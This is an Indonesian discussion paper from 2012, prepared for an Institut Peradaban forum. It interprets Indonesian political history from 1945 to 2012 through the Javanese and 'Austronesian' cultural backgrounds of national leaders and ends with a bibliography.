Saya tidak percaya bahwa Institut Peradaban mengundang kita sekalian untuk membahas faktor Jawa dalam Politik Indonesia untuk menjadikan kita sekedar sebagai pengamat atau bahkan sebagai komentator. Saya percaya bahwa Institut Peradaban yang dipimpin oleh dua tokoh nasional kita yang terkemuka ,– Prof Dr Jimly Ashshiddiqie SH dan Prof. Dr. Salim Said, MA MAIA – mengundang kita justru dengan maksud agar kita meluangkan waktu untuk memikirkan dan mencari format kebijakan tentang aspek kultural dari  kompatibilitas – atau inkompatibilitas — tokoh-tokoh nasional yang akan menjadi presiden nanti, yang bagaimanapun juga akan mempunyai latar belakang kebudaya Jawa dan latar belakang kebudayaan luar Jawa. Hal itu terlihat pada lima pertanyaan yang diajukan kedua beliau di halaman belakang Kerangka Acuan diskusi ini.

Jika pemahaman saya ini dapat diterima, izinkanlah saya mencoba merumuskan masalah yang akan kita bahas dalam diskusi sekarang ini  sebagai berikut:

“ Kebijakan apakah yang harus dianut dalam membangun  kultur, struktur, dan prosedur politik yang mampu menata hubungan kerja kelembagaan yang baik antara presiden dan wakil presiden beserta kelompok elite nasional yang lain, yang walaupun mempunyai latar belakang pribadi yang berbeda-beda, namun mampu berkiprah bersama untuk mewujudkan Cita-cita dan Tujuan Nasional yang tercantum dalam Pembukaan dan Pasal-pasal Undang-Undang Dasar 1945 ?”

  1. Sebuah Kilas Balik Sejarah Bangsa dan Negara [Kesatuan] Republik Indonesia, 1945 – 2012.
  2. 1945- 1959.

Dalam kurun ini terlihat jelas adanya keseimbangan peran dari para tokoh elite yang berlatar belakang kebudayaan Jawa dan yang berlatar belakang kebudayaan luar Jawa, dipayungi oleh semangat toleransi yang tinggi, yang jelas merupakan ciri khas dari sistem nilai kebudayaan Austronesia. Dari perspektif sejarah kebudayaan Austronesia ini, sungguh amat mengesankan untuk menekuni kembali bukan saja risalah sidang-sidang 68 orang anggota Badan Penyelidik Usaha-usaha Persiapan Kemerdekaan Indonesia/ BPUPKI ( Dokuritu Zyunbi Coosakai ) dan 28 orang anggota Panitia Persiapan Kemerdekaan Indonesia/PPKI ( Dokurity Zyunbi Iinkai ), yang berlangsung antara tanggal 28 Mei 1945 sampai dengan 22 Agustus 1945 dengan masa reses antara tanggal 2 Juni 1945 sampai dengan tanggal 9 Juli 1945; tetapi juga perkembangan sejarah setelahnya.

Walaupun seluruh anggota kedua badan tersebut diseleksi dan diangkat oleh pemerintahan balatentara Jepang, khususnya dari kawasan yang dikuasai oleh Angkatan Darat ( Rikugun) di pulau Sumatera, Jawa, dan Bali, namun sukar untuk dibantah bahwa semua beliau tersebut memang merupakan tokoh-tokoh inti pergerakan kemerdekaan Indonesia, yang selain terdiri dari tokoh-tokoh Bumiputera, juga tokoh-tokoh Peranakan, baik peranan Arab, Indo Belanda, dan Tionghoa. Seluruh pembicaraan diarahkan untuk mencari kesepakatan tentang dasar-dasar suatu Negara Indonesia yang merdeka.

Tidak berkelebihan jika dikatakan bahwa suasana pembicaraan dalam kedua badan tersebut sangat bernuansa Austronesia sekali, terbuka, akrab, dinamis, bersifat inklusif, tanpa adanya suasana yang konfrontatif, walaupun dalam membahas tema-tema yang berat. Seperti dapat diduga, dalam sidang-sidang kedua badan ini timbul wacana yang intens tentang hubungan antara Negara dan agama [ khususnya dengan agama Islam], tentang bentuk Negara [ Kesatuan atau Serikat, Republik atau Kerajaan ], dan tentang bentuk pemerintahan [ parlementer atau presidensial].

Seperti kita ketahui, setelah membahas secara mendalam tema-tema yang  bisa menjadi sangat kontroversial, seluruh  pendiri Negara tersebut bersepakat untuk membentuk sebuah Negara nasional, yang berbentuk Republik kesatuan, dengan sistem pemerintahan sendiri yang walaupun mirip dengan sistem pemerintahan presidensial, namun mempunyai sebuah lembaga tertinggi Negara yang merupakan pengejawantahan dari seluruh Rakyat.  Walau tidak secara eksplisit disadari, namun secara retrospektif terlihat jelas bahwa seluruh pemikiran dipengaruhi oleh wawasan kebudayaan Austronesia yang dinamis, terbuka, dan bersifat inklusif.

Suasana yang sangat Austronesia ini terpelihara baik, bukan hanya dalam keadaan damai, tetapi juga sewaktu menghadapi ancaman peperangan dengan kerajaan Belanda dalam agresi militer pertama 1947 dan agresi militer kedua 1948 dan dalam menghadapi kerajaan Belanda dalam Konferensi Meja Bundar tahun 1949. Suasana yang sama juga masih terpelihara pasca pembentukan  Republik Indonesia Serikat dalam tahun 1950 dengan kembali kepada bentuk Negara Kesatuan Republik Indonesia. Dalam menghadapi politik adu domba kerajaan Belanda, seluruh Negara-negara boneka bentukan Belanda, yang sebelumnya tergabung dalam Bijeenkomst Federal Overleg (BFO) malah berfihak kepada Republik Indonesia yang diproklamasikan pada tahun 1945.

Suasana yang sangat Austronesia ini sempat terusik dengan berkembangnya tiga ideologi kenegaraan dari luar yang sistem nilainya sangat bertentangan dengan sistem nilai Austronesia itu, yaitu 1)  faham Marxisme-Leninisme pada tahun 1948, yang mengajarkan doktrin pertentangan kelas dan ajaran revolusi permanen yang akan berujung dengan sebuah diktatur proletariat; 2) ajaran tentang fundamentalisme agama – khususnya agama Islam – serta 3) liberalisme pada tahun 1949 dan 1955 pasca Pemilihan Umum 1955, yang selain menolak Negara nasional yang melindungi seluruh Bangsa Indonesia juga hendak mendirikan sebuah Negara Islam atau Negara liberal (Ahmad, 2001, Ali, 2012, Anonyim 2001).

Berbeda dengan suasana kebersamaan yang sangat kental dalam BPUPKI dan PPKI, masuknya pengaruh ideologi kenegaraan eksternal tersebut di atas telah menyebabkan terjadinya perdebatan dalam sidang-sidang Konstituante sedemikian panasnya, sehingga dalam pemungutan suara tidak didapat kata putus tentang dasar Negara yang akan dianut. Dapatlah diperkirakan, bahwa deviasi  ideologi kenegaraan yang juga berlatar belakang kultural ini menimbulkan kegoncangan dan gejolak keamanan dalam skala sedemikian rupa, sehingga pada tahun 1959 Pemerintah terpaksa mengambil upaya luar biasa dengan mengembalikan berlakunya Undang-Undang Dasar 1945. Tidaklah dapat dihindari bahwa dalam keseluruhan proses ini peran terkemuka secara bertahap mulai dipegang oleh para tokoh  yang mempunyai latar belakang budaya Jawa. 

  1. 1959- 1998.

Berbeda dengan kurun waktu antara tahun 1945 – 1959, yang pada taraf awal sangat bernuansa Austronesia, maka dalam kurun 1959-1998 ini suasana kehidupan politik Indonesia sangat bernuansa Jawa/Mataram. Kurun ini dikendalikan oleh dua orang presiden yang berlatar belakang kultur Jawa, yaitu Ir. Soekarno ( 1959-1967) dan Jenderal Soeharto ( 1967-1998). Keduanya mempunyai latar budaya politik Jawa/Mataram yang selain menafikan keanekaragaman – terkenal dengan doktrin penolakan terhadap kekuatan yang tidak bisa mereka kendalikan, yaitu menolak gejala srengege kembar –  juga sangat terobsesi dengan konsep kekuasaan terpusat, yang tiada segan-segan menerapkan doktrin pemusnahan terhadap seluruh lawan politik ( doktrin tumpas kelor ).

Dalam hubungan ini Ir Soekarno – mungkin dengan menimba ilham dari ajaran democratie met leiderschap dari Ki Hadjar Dewantara – mengembangkan ajaran demokrasi terpimpin, dimana seluruh kekuasaan Negara dan pengaruh terhadap masyarakat berada dalam tangan seorang Pemimpoin Besar Revolusi, yaitu Ir. Soekarno. Bukan mustahil, bahwa Soekarno yang sejak muda tertarik dengan ajaran Marxisme, juga menimba ilham dari doktrin sentralisme demokratis yang diajarkan oleh Marxisme-Leninisme. Dengan kekuatan senjata seluruh pemberontakan ditumpas habis, walau terhadap pemberontakan Pemerintah Republik Revolisoner Indonesia (PRRI) dan Perjuangan Semesta (Permesta) kemudian diberikan amnesti dan abolisi (Lapian et al.. )

Dalam kurun kepemimpinan totalitarian Ir. Soekarno ini, perbedaan latent dalam kebijakan yang dianut, antara Presiden Ir Soekarno yang berlatar belakang budaya Jawa/Mataram dengan Wakil Presiden Drs Mohammad Hatta yang mempunyai latar belakang budaya Minangkabau yang berciri egalitarian, mencapai puncaknya ( Amal, 2003) . Atas kemauan sendiri, dan dengan maksud untuk memberikan fair chance kepada Ir. Soekarno, Wakil Presiden Drs Mohammad Hatta mengundurkan diri dari jabatan pada bulan Desember 1956. Sejak saat itu, Presiden Soekarno, yang tidak pernah mengisi lagi jabatan Wakil Presiden, benar-benar memimpin Indonesia bagaikan seorang raja Jawa.

Watak totalitarian rezim Soekarno diteruskan dalam kurun kepresidenan Jenderal Soeharto ( 1967-1998), yang selain mempunyai latar belakang budaya Jawa/Mataram juga mempunyai latar belakang militer yang mengenal dan mempraktekkan prinsip unity of command. Hampir seluruh kekuasaan, baik sipil maupun militer, serta kekuasaan dalam bidang politik, berpuncak dalam tangan Presiden Soeharto, dengan  tambahan wewenang kekuasaan hukum darurat, yang berasal dari era penumpasan Gerakan 30 September/PKI pada tahun 1965. Sesuai dengan doktrin tumpas kelor, seluruh kekuatan Partai Komunis Indonesia (PKI) ditumpas habis, dengan dukungan kekuatan sosial yang beleumnya menjadi korban dari keganasan PKI, khususnya di Jawa Timur ( Abdullah, 2011).

Namun ada perbedaan antara Presiden Soekarno yang kurang menyukai masalah ekonomi, dengan Jenderal Soejharto yang sangat menggandrungi pembangunan ekonomi.  Kata kunci dalam era Presiden Soekarno adalah revolusi, sedangkan kata kunci dalam era kepresiden Jenderal Soeharto adalah pembangunan. Walaupun sama-sama bernuansa kekuasaan dictator, namun kediktatoran Soeharo yang sangat terobsesi dengan pembangunan untuk kesejahteraan Rakyat, dapat disebut sebagai kediktatiran yang murah-hati ( benevolent dictatorship)/.

Dengan gaya benevolent dictatorship tersebut, Presiden Soeharto terpilih berturut-turut dalam rangkaian pemilihan umum yang diadakan antara tahun 1971 sampai dengan tahun 1997. Presiden Soeharto jatuh dari jabatannya pada tahun 1998 oleh karena dua sebab utama, yaitu krisis ekonomi yang timbul sebagai akibat krisis moneter Asia dalam tahun 1997, dan rekasi masyarakat terhadap kepemimpin tangan besi yang diterapkannya dalam bidang politik dan keamanan.

  1. 1999 – 2012.

Sungguh menarik, bahwa dari empat orang presiden yang memerintah antara tahun 1998 sampai 2012 ada tiga orang yang mempunyai latar belakang kebudayaan Jawa – yaitu KH Abdurrahman Wahid, Megawati Soekarnoputri, dan Jenderal Susilo Bambang Yudhoyono – dan seorang yang mempunyai latar belakang kebudayaan luar Jawa, yaitu Prof. Dr.Ing. Baharuddin Jusuf Habibie.  Namun, adalah aneh bahwa tidak seorangpun dari tiga orang presiden yang mempunyai latar belakang kebudayaan Jawa itu yang menunjukkan pemahaman – apalagi kesukaan – terhadap kebudayaan Jawa/ Mataram. Terlihat jelas bahwa mereka menunjukkan kecenderungan yang sangat kuat terhadap pemikiran dan kebijakan yang liberalistik. Dengan kata lain, seluruh suasana kehidupan berbangsa dan bernegara dalam era Reformasi bukan saja memusnahkan sisa-sisa pengaruh kebudayaan Austronesia, tetapi juga sekaligus membasmi habis sisa-sisa pengaruh kebudayaan Jawa/Mataram.

Runtuhnya era kepemimpinan elite dengan gaya budaya Jawa/Mataram yang berkuasa dalam kurun yang demikian lama, antara tahun 1959-1998, bersamaan dengan diabaikannya sama sekali  grand design kehidupan berbangsa dan bernegara yang tercantum dalam Pembukaan Undang-Undang Dasar 1945, yang sanagt jelas sangat diresapi oleh sistem nilai kebudayaan  Austronesia, menyebabkan Republik Indonesia terjerumus dalam suasana yang tidak menentu. Dalam kurun ini terlihat sangat jelas masuknya pengaruh ideologi neo-liberalisme melalui berbagai konsultan luar negri – baik yang dimintai bantuannya maupun yang ditawarkan secara khusus — bukan hanya dalam merancang undang-undang baru dalam bidang ekonomi, tetapi juga dalam bidang politik, bahkan dalam bidang ideologi[5]. Pengaruh neo liberalisme dalam bidang ideologi sangat mengemuka dalam empat kali amandemen terhadap Undang-Undang Dasar 1945 antara tahun 1999 sampai dengan tahun 2002. Dapatlah difahami, bahwa dengan demiian intensifnya perubahan yang dilakukan terhadap pasal-pasal Undang-Undang Dasar 1945, ada sebagian kalangan dalam masyarakat yang menyebutnya sebagai ‘ Undang-Undang Dasar 2002”.

Dalam hubungan ini perlu dicatat besarnya peran historis dari seorang tokoh penting gerakan Reformasi, yang dalam tahun-tahun yang sangat kritis ini memegang peranan sebagai Ketua Majelis Permusyawaratan Rakyat — dan kemudian mencalonkan diri sebagai Presiden dalam Pemilihan Presiden pada tahun 2004 — yaitu Prof. Dr. Mohammad Amien Rais. Rais mempunyai latar belakang budaya Jawa, memperoleh gelat doktor dalam ilmu hubungan internasional di Amerika Serikat, dan pernah menjadi Ketua Umum Pengurus Pusat Muhammdiyah.

Dalam era Reformasi ini, walaupun secara formal Pembukaan Undang-Undang Dasar 1945 yang sangat kental dengan semangat kebudayaan  Austronesia itu masih tetap dipertahankan, namun sebagian besar pasal-pasal Undang-Undang Dasar serta demikian banyak rancangan undang-undang sangat bernuansa neo-liberalisme, yang secara substantif tidak lagi merujuk kepada semangat Pembukaan Undang-Undang 1945 tersebut [ dan pada Penjelasan Umum yang memuat empat Pokok Pikiran yang terkandung dalam Pembukaan tersebut.]

Dengan kata lain, sejak tahun 1999 sampai saat ini Republik Indonesia dari segi peradaban dan budaya politik bukan lagi merupakan Repulik Indonesia yang didirikan pada tahun 1945. Secara gamblang telah terlihat selain tidak adanya lagi solidaritas antara sesama warga Negara, juga telah terasingnya lapisan elite dari massa Rakyat.

Dalam kurun ini baik nuansa peradaban Austronesia maupun nuansa budaya politik Jawa/Mataram telah sirna sama sekali, dan sebagai gantinya yang berlaku adalah kehidupan politik yang tidak jelas bentuknya, dan dalam keseluruhan ini yang menjadi korban adalah Rakyat Indonesia. Sudah barang tentu yang harus memikul beban sejarah atas penyimpangan ideologi ini adalah seluruh korps elite yang mengambil keputusan di segala bidang.

  1. Lantas, Kita Hendak Menuju Kemana ?

Ada empat fenomena yang sangat menyolok dalam kehidupan kita berbangsa dan bernegara pada saat ini, yang bisa kita baca dengan bebas, baik dari hampir seluruh media massa maupun dari demikian banyak media jejaring sosial.

Fenomena pertama adalah timbulnya kesadaran pada kalangan yang luas, bahwa ada sesuatu yang hilang dalam kehidupan berbangsa dan bernegara, khususnya semangat nasionalisme,  kepercayaan kepada Pemerintah serta lembaga=lembaga Negara lainnya, serta kepada partai-partai politik. Hal ini terlihat jelas pada merosotnya kepercayaan publik kepada Presiden Susilo Bambang Yudhoyono, yang walaupun mampu memenangkan dua kali pemilihan presiden pada tahun 2004 dan 2009, namun tidak bisa mempertahankan kredibitas dan kewibawaan yang diperolehnya itu. Walaupun sampai taraf tertentu hal ini terkait dengan karakter pribadi Presiden sendiri (Djalal n.d), namun juga tidak kecil peranan dari ambiguitas sistem politik yang terbentuk pasca era Reformasi 1998.

Fenomena kedua adalah  dirasakannya oleh kalangan yang sangat luas nuansa yang sangat liberalistik dari hampir seluruh rancangan undang-undang – termasuk Rancangan Undang-undang tentang Anggaran Pendapatan dan Belanja Negara (RAPBN) – serta dari hampir seluruh kebijakan Pemerintah, yang pada suatu sisi menyerahkan keputusan tentang segala sesuatu kepada pasar, dan pada fihak lain sangat dirasakan tidak berfihak kepada kepentingan Rakyat banyak. Suatu offshoots dari nuansa liberalistik ini adalah berkecambahnya money politics,  yang berujung pada merebaknya korupsi pada hampir seluruh lembaga penyelenggara Negara, baik pada cabang legislatif, cabang eksekutif, dan cabang yudikatif.

Fenomena ketiga adalah timbulnya keinginan pada sebagian [ besar ?] masyarakat sipil untuk merevitalisasi Majelis Permusyawaratan Rakyat dengan wewenang untuk menyusun rancangan Garis-garis Besar Haluan Negara (GBHN) (PPAD, 2011).

Fenomena keempat yang terlihat dengan jelas adalah bahwa beriringan dengan melemahnya wibawa Pemerintah Pusat serta tidak jelasnya arah yang akan diturut oleh bangsa ini, telah bangkit kekuatan radikalisme Islam, yang dengan berbagai cara telah berhasil mendorong kaum muda untuk menjadi ‘ pengantin surga ‘ dengan meledakkan bom bunuh diri, suatu kenyataan yang hampir tidak pernah terjadi dalam kurun sejarah sebelumnya ( Ali.2012).

Walaupun empat fenomena tersebut di atas tersebar pada kalangan yang luas, namun sampai sedemikian jauh belum terlihat adanya suatu gerakan yang akan menindaklanjutinya yang efektif untuk mengubah keadaan. Pada sisi yang satu, hal itu mungkin disebabkan oleh karena belum adanya doktrin atau  grand strategy yang disepakati oleh kalangan yang luas itu, dan pada sisi yang lain mungkin juga oleh karena tidak – atau belum – adanya seorang solidarity maker yang mampu menggerakkan massa Rakyat untuk mengadakan perubahan kea rah yang lebih baik.

Jika kondisi tanpa arah seperti sekarang ini berlanjut, bukan mustahil akan terjadi gejala gagal Negara, yang indikasi awalnya sudah mulai banyak yang terlihat( Milliken, 2003 ).

  1. Kesimpulan dan Penutup.
  2. Oleh karena budaya politik dan kepribadian elite dipengaruhi oleh latar kebudayaannya, adalah wajar bahwa terhadap masalah politik diterapkan pendekatan kebudayaan,
  3. Sehubungan dengan menonjolnya peranan Jawa dalam sejarah, kebudayaan, serta politik di Indonesia, juga adalah wajar diberikan perhatian yang besar terhadap peranan para pendukung kebudayaan Jawa serta elite nasional yang mempunyai latar belakang kebudayaan Jawa.
  4. Terhadap kebudayaan Jawa perlu disadari adanya perbedaan yang relative besar dari dua varian kebudayaan Jawa, yaitu varian kebudayaan Jawa maritim yang masih meresapi sistem nilai kebudayaan Austronesia, yang sebagai kebudayaan maritim bersifat dinamis, terbuka, dan bersifap inklusif; dengan varian kebudayaan Jawa pedalaman yang sudah kehilangan warisan sistem nilai Austronesia, menjadi kebudayaan agraris yang konservatif dan involutif.
  5. Pendekatan kebudayaan diperlukan untuk memahami kultur politik suatu suku bangsa; sedangkan untuk memahami gaya kepemimpinan seorang tokoh elite selain pendekatan latar belakang kebudayaannya, diperlukan tambahan pendekatan psikologi kepribadian.
  6. Dalam tinjauan kebudayaan terhadap sejarah Republik Indonesia terlihat perkembangan sebagai berikut: 1) antara tahun 1945 – 1959 terlihat keseimbangan antara peranan elite yang berlatar belakang kebudayaan Jawa dan elite yang berlatar belakang non-Jawa, yang secara sadar atau tidak sadar masih diliputi oleh semangat kebudayaan Austronesia; 2) antara tahun 1959 – 1998 kehdupan politik Indonesia didominasi oleh elite Jawa dengan latar belakang varian kebudayaan Jawa pedalaman, yang sangat konservatif, oligarkik, dan sentralistik, serta lenyapnya sama sekali pengaruh kebudayaan Austronesia; 3)  sejak tahun 1998 sampai sekarang seluruh pengaruh kebudayaan Jawa pedalaman tersebut di atas telah disapu habis, yang tidak diiringi oleh revitalisasi sistem nilai kebudayaan Austronesia.
  7. Adalah merupakan kenyataan yang sangat menyolok bahwa kesadaran terhadap besarnya peranan kebudayaan terhadap kehidupan berbangsa dan bernegara ini merosot tajam dari generasi kepemimpinan yang satu kepada generasi kepeminpinan beritunya, dan bahwa kesadaran tersebut berada pada titik nadir pada pada generasi kepemimpinan sekarang ini.
  8. Dewasa ini sangat terasa bahwa Bangsa dan Negara ini sedang mengalami disorientasi yang parah, dan dalam suasana disorientasi yang parah ini telah bangkit aliran-aliran radikal yang berani melancarkan aksi kekerasan terhadap fihak lain, bukan hanya terhadap golongan lain, tetapi juga terhadap Pemerintah, Bangsa, dan Negara.
  9. Walaupun demikian, di dalam masyarakat telah tumbuh kesadaran tentang deviasi ideologis dan deviasi konstitusional yang telah terjadi, dan bahwa merupakan suatu urgensi untuk mengadakan revitalisasi terhadap ideologi dan konstitusi yang telah disepakati oleh para Pendiri Negara pada tahun 1945.
  10. Walaupun demikian, belum terlihat tanda-tanda adanya gerakan atau tokoh yang akan memimpin revitalisasi ideologi dan konstitusi tersebut.
  11. Jika keadaan tanpa arah seperti sekarang ini berlanjut, bukan mustahil akan terjadi gejala gagal Negara ( state failure).

Jakarta, 19 September 2012.

SB:sb.

BUNGA RAMPAI BACAAN

Abdullah, Taufik, et,al. Jilid I dan Jilid II, 2012. Malam Bencana 1965 dalam Belitan Krisis, Nasional. Yayasan Pustaka Obor Indonesia, Jakarta.

Ahmad, Haji Zainal Abidin. 2001. [Membangun] Negara Islam. Pustaka Iqra’. Yogyakarta.

Alam, Wawan Tunggul, S.H. 2003. Demi Bangsaku: Pertentangan Sukarno vs Hatta. Penerbit Pustaka Gramedia Utama. Jakarta.

Alfian dan Nazaruddin Sjamsuddin eds 1991, Profil Budaya Politik Indonesia. AIPI dan Pustaka Utama Grafiti. Jakarta.

Ali, As’ad Said, 2012. Ideologi Gerakan Pasca Reformasi. LP3ES. Jakarta.

Anonym. 2001. Debat Dasar Negara: Islam dan Pancasila: Konstituante 1957. Pustaka Panjimas.  Jakarta.

Bahar, Dr. Saafroedin, disertasi, 1996. Peranan Elite Sipil dan Elite Militer dalam Dinamika Proses Integrasi Nasional di Indonesia: Kasus Etnik Minangkabau di Sumatera Barat, 1945 –        1984. Belum diterbitkan.

————————————, 1998. “ Sumbangan Daerah dalam Proses Nation-Building”  dalam Ichlasul Amal dan Armaidy Armawy. Eds. 1998. Regionalisme, Nasionalisme, dan Ketaha               nan Nasional. Gadjah Mada University Press. Yogyakarta.

———————————-, 2002. Konteks Kenegaraan Hak Asasi Manusia. PT Penerbit Sinar Harapan. Jakarta.

————————–, 2009, Membangun Indonesia: Negara Kebangsaan dan Masyarakat-      Hukum Adat. Penerbit Verbum. Jakarta.

————————–, 2011.booklet. Ideologi Negara: Sejarah Kebangsaan Indonesia. Sekretariat Aliansi Kebangsaan. Jakarta.

Coedes, George. Terj. Winarsih Partaningrat Arifi, 2010. Asia Tenggara Masa Hindu Budha. KPGbersama Ecole Francais d’Extreme Orient, Forum Jakarta-Paris, Jakarta.

Dam, Syamsumar. 2010. Politik Kelautan. Penerbit Bumi Aksara. Jakarta.

Davies, James Downing, ed, 1971. When Men Revolt and Why: A Reader in Political Violence and Revolution. The Free Press. New York.

Dhani, Rendro. 2004. Centang-perenang Manajemen Komunikasi Kepresidenan: dari Soekarno sampai Megawati. LP3ES. Jakarta.

Djalal, Dr. Dino Patti. N.d. Harus Bisa: Seni Memimpin a la SBY n.p. [Jakarta?].

Edwards III, George and Stephen J. Wayne. 1990. Presidential Leadership: Politics and Policy- Making. St Martin’s Press. New York.

Hadiwijono, Dr. Harun. Cetakan ke 4. 2003. Religi Suku Murba di Indonesia. PT BPK Gunung Mulia. Jakarta.

Harison, Lawrence E, dan Samuel P. Huntington, 2011, Kebangkitan Peran Budaya: Bagaimana Nilai-nilai Membentuk Kemajuan Manusia, LP3ES, Jakarta.

Hidayat, Komaruddin, dan Ahmad Gaus AF, eds. 2006. Menjadi Indonesia: 13 Abad  Eksistensi Islam di Bumi Nusantara. Yayasan Festival Istiqlal Jakarta dan Penerbit Mizan, Bandung.

Imran, Amrin, et al, eds. 1988. Ikhtisar Sejarah Perang Kemerdekaan di Sumatera ( 1045 -1949), Pusat Sejarah dan Tradsisi ABRI. Jakarta.

Indrayana, Denny, Ph D. 2007. Amandemen UUD 1045: Antara Mitos dan Pembongkaran. Penerbit Mizan. Bandung.

Kesuma, Andi Ima. 2004. Migrasi & Orang Bugis. Penerbit Ombak. Yogyakarta.

Koentjaraningrat, Prof Dr. 1987. Manusia dan Kebudayaan di Indonesia. Penerbit Djambatan.   Jakarta,

Kartodirdjo, Sartono. 1981. Elite dalam Perspektif Sejarah. LP3ES. Jakarta.

Kleden, Ignas, 2001. Menulis Politik: Indonesia sebagai Utopia. Penerbit Buku Kompas. Jakarta.

Kusuma, RM. A.B. 2011, Sistem Pemerintahan “Pendiri Negara” versus Sistem Presidensiel “Orde Reformasi”. Bagian Penerbit Fakultas Hukum Universitas Indonesia. Jakarta.

Lapian, Eddy A.F. et.al., Memoar Ventje H.N. Sumual. Penerbit Bina Insan. Jakarta.

Latif, Yudi. 2011. Negara Paripurna: Historisitas, Rasionalitas, dan Aktualitas. PT Gramedia  Pustaka Utama.

Lombard, Dennys. Terj. Winarsih Arifin. 2006. Kerajaan Aceh: Zaman Sultan Iskandar Muda (1607-1636). KPG- Forum Jakarta-Paris dan Ecole Francais d’Extrme Orient. Jakarta.

Mahbubani, Kishore. Terj.Th. Bambang Murtianto. 2012 Asia Hemisfer Baru Dunia: Pergeseran Kekuatan Global ke Timur yang Tak Terelakkan. PT Kompas Media Nusantara. Jakarta.

Mangunwijaya, Y.B. 1998. Menuju Republik Indonesia Serikat. PT Gramedia Pustaka Utama.  Jakarta.

Marsden, William. Terj. A.S. Nasution dan Mahyudin Mendim. 1999. Sejarah Sumatera. PT  Remaja Risdakarya. Bandung.

Migdal, Joel S. 1988. Strong Societies and Weak States. Princeton University Press. Princeton.

Milliken, Jennifer, ed. 2003. State Failure, Collapse & Reconstruction. Blackwell Publishing. Oxford.

Nakamura, Hajime. Trans by Philips P. Wiener. 1971. Ways of Thinking os Eastern Peoples : India-China- Tibet- Japan. University of Hawaii Press. Honolulu.

Nasikun, Dr. 2003. Sistem Sosial Indonesia. PT Raja Grafindo Persada. Jakarta.

Nugroho, Irawan Djoko, 2911, Majapahit, Peradaban Maritim: Ketika Nusantara Menjadi Pengendali Pelabuhan Dunia, Yayasan Suluh Nuswantara Bhakti, Jakarta.

Nurhasim, Moch dan Ikrar Nusa Bhakti. 2009. Sistem Presidensial & Sosok Presiden Ideal. AIPI dan Pustaka Pelajar, Yo gyakarta.

Mil;s, C. Wright, 1959. The Power Elite. Oxford University Press. Oxford.

Pangaribuan, Robinson. Trans; by Verdi Hadiz. 1966. The Indonesian State Secretariate, 1945-  1993. Murdoch University and Pustaka Sinar Harapan. Jakarta.

Pengurus Pusat Persatuan Purnawirawan TNI Angkatan Darat. Buku 1. 2011. Ajakan PPAD Konsolidasi Keindonesiaan. N.p. Jakarta.

Puryear Jr, Edgar. 1971. Nineteen Stars:  A Study of Military Character and Leadership. Presidio Press. Novato. Cal.

Purwadi, Dr. M.Hum. 2004, Falsafah Militer Jawa. Sudasiva, Yogyakarta.

Rahardjo, Supratikno. 2011. Peradaban Jawa: dari Mataram Kuno sampai Majapahit Akhir.  Komunitas Bambu. Depok.

Republik Indonesia, 1998, Risalah Sidang Badan Penyelidik Usaha-Usaha Persiapan Kemerdekaan Indonesa (BPUPKI) dan Panitia Persiapan Kemerdekaan Indonesia (PPKI),              28 Mei 1945- 22 Agustus 1945. Sekretariat Negara. Jakarta.

————————-. 2009. Sekretariat Negara Republik Indonesia: dari Masa Pemerintahan Presiden Soekarno sampai dengan Presiden Susilo Bambang Yudhoyono. Sekretariat           Negara R.I. Jakarta.

Ricklefs, M.C. Moh. Sidik Nugroho, ed. Cetakan ke III, 2010. Sejarah Indonesia Modern, 1200- 2008. PT SSeramb llmu Semesta, Jakarta.

Rukmana, Hardiyanti. Cetakan kelima 1992. Butir-butir Budaya Jawa: Mencapai Kesempurnaan Hidup Berjiwa Besar Mengusahakan Kebaikan Sejati. Yayasan Purna Bhakti Pertiwi.     Jakarta.

Said, Salim. 1962. Genesis of Power: General Sudirman and the Indonesian Military 9n Politics, 1945-49. ISEAS Singapore and PT Pystaka Sinar Harapan. Jakarta.

Simanjuntak, Bungaran Antonius. 2006. Struktur Sosial dan Sistem Politik Batak Toba Hingga 1945: Suatu Pendekatan Antropologi Budaya dan Politik. Yayasan Obor Indonesia.   Jakarta.

Siradj, Ahmad Zacky, ed. 2009. Keterasingan Kaum Elite. Bidang Penanganan Kerawanan Sosial DPP Partai Golkar. Jakarta.

—————————-,ed. 2011. Menyegarkan Kembali Faham Kebangsaan. Bidang Penanganan Kerawanan Sosial DPP Partai Golkar. Jakarta.

————————-, ed, 2011. Membangun Demokrasi Melahirkan Negarawan. Bidang Penanganan Kerawanan Sosial. DPP Partai Golkar. Jakarta.

Sollors, Werner. Ed. 1996. Theories of Ethnicity: A Classical Reader.Macmillan Press. Ltd.London.

Soeprapto, et al, eds. 1996. Cita Negara Persatuan Indonesia. BP-7 Pusat. Jakarta.

Sularto, St. ed. 1990. Menuju Masyarakat Baru Indonesia: Antisipasi terhadap Tantangan Abad ke XXI. Kompas dan PT Gramedia. Jakarta.

Suryadinata, Leo et al. 2003. Penduduk Indonesia: Etnis dan Agama dalam Era PerubahanPolitik.  LP3ES. Jakarta.

Sutowo, Pontjo. Booklet. 2010. Aliansi Kebangsaan sebagai Kekuatan Alternatif untuk Percepatan Terwujudnya Keadilan dan Kemakmuran. Forum Indonesia. Jakarta.

———————–. Booklet. 2011. Masalah Kebangsaan.

———————-, Booklet. 2010. Mengapa kita Sampai Jadi Begini dan Bagaimana Jalan keluarnya ?. Sekretariat Aliansi Kebangsaan. Jakarta. Sekretariat Aliansi Kebangsaan.                                   Jakarta.

———————————-. Booklet. 2011. Bagaimana Cara Menyegarkan Kembali Semangat Kebangsaan Kita ? Sekretariat Aliansi Kebangsaan. Jakarta.

———————————-, Booklet. 2011. Strategi Nasional dalam rangka Menegakkan Kedaulatan Negara dan Keutuhan Wilayah Negara Kesatuan Republik Indonesia.    Sekretariat Aliansi Kebangsaan. Jakarta.

———————————–. Booklet. 2010. Mendayagunakan Laut untuk Kesejahteraan Rakyat. Sekretariat Aliansi Kebangsaan. Jakarta.

——————————–. Booklet. 2012. Selamatkan Bangsa dan Negara Kesatuan Republik Indonesia. Sekretariat Aliansi Kebangsaan. Jakarta.

———————————-, Booklet. 2011. Membangun Bangsa dengan Kemandirian Ekonomi melalui Kerjasama antara Rakyat dan Pemerintah. Sekretariat Aliansi Kebangsaan.        Jakarta.

——————————–. Booklet. 2012. Mencari Format Ideal Kepemimpinan Nasional yang Berwawasan Kebangsaan. Sekretariat Aliansi Kebangsaan. Jakarta.

Vlekke, H.H. Bernard. 2008. Nusantara: Sejarah Indonesia. Kepustakaan Populer Gramedia bekerjasama dengan Freedom Institute dan Balai Pustaka/ Jakarta.

Yasasususastra, J. Syahban, 2011, Asta Brata: 8 Unsur Simbol Kepemimpinan. Pustaka Mahardika, Yogyakarta.

Footnote:

[1]              Bahan diskusi pada acara Institut Peradaban, Jakarta, 19 September 2012. Disempurnakan dengan masukan yang berkembang dalam diskusi.

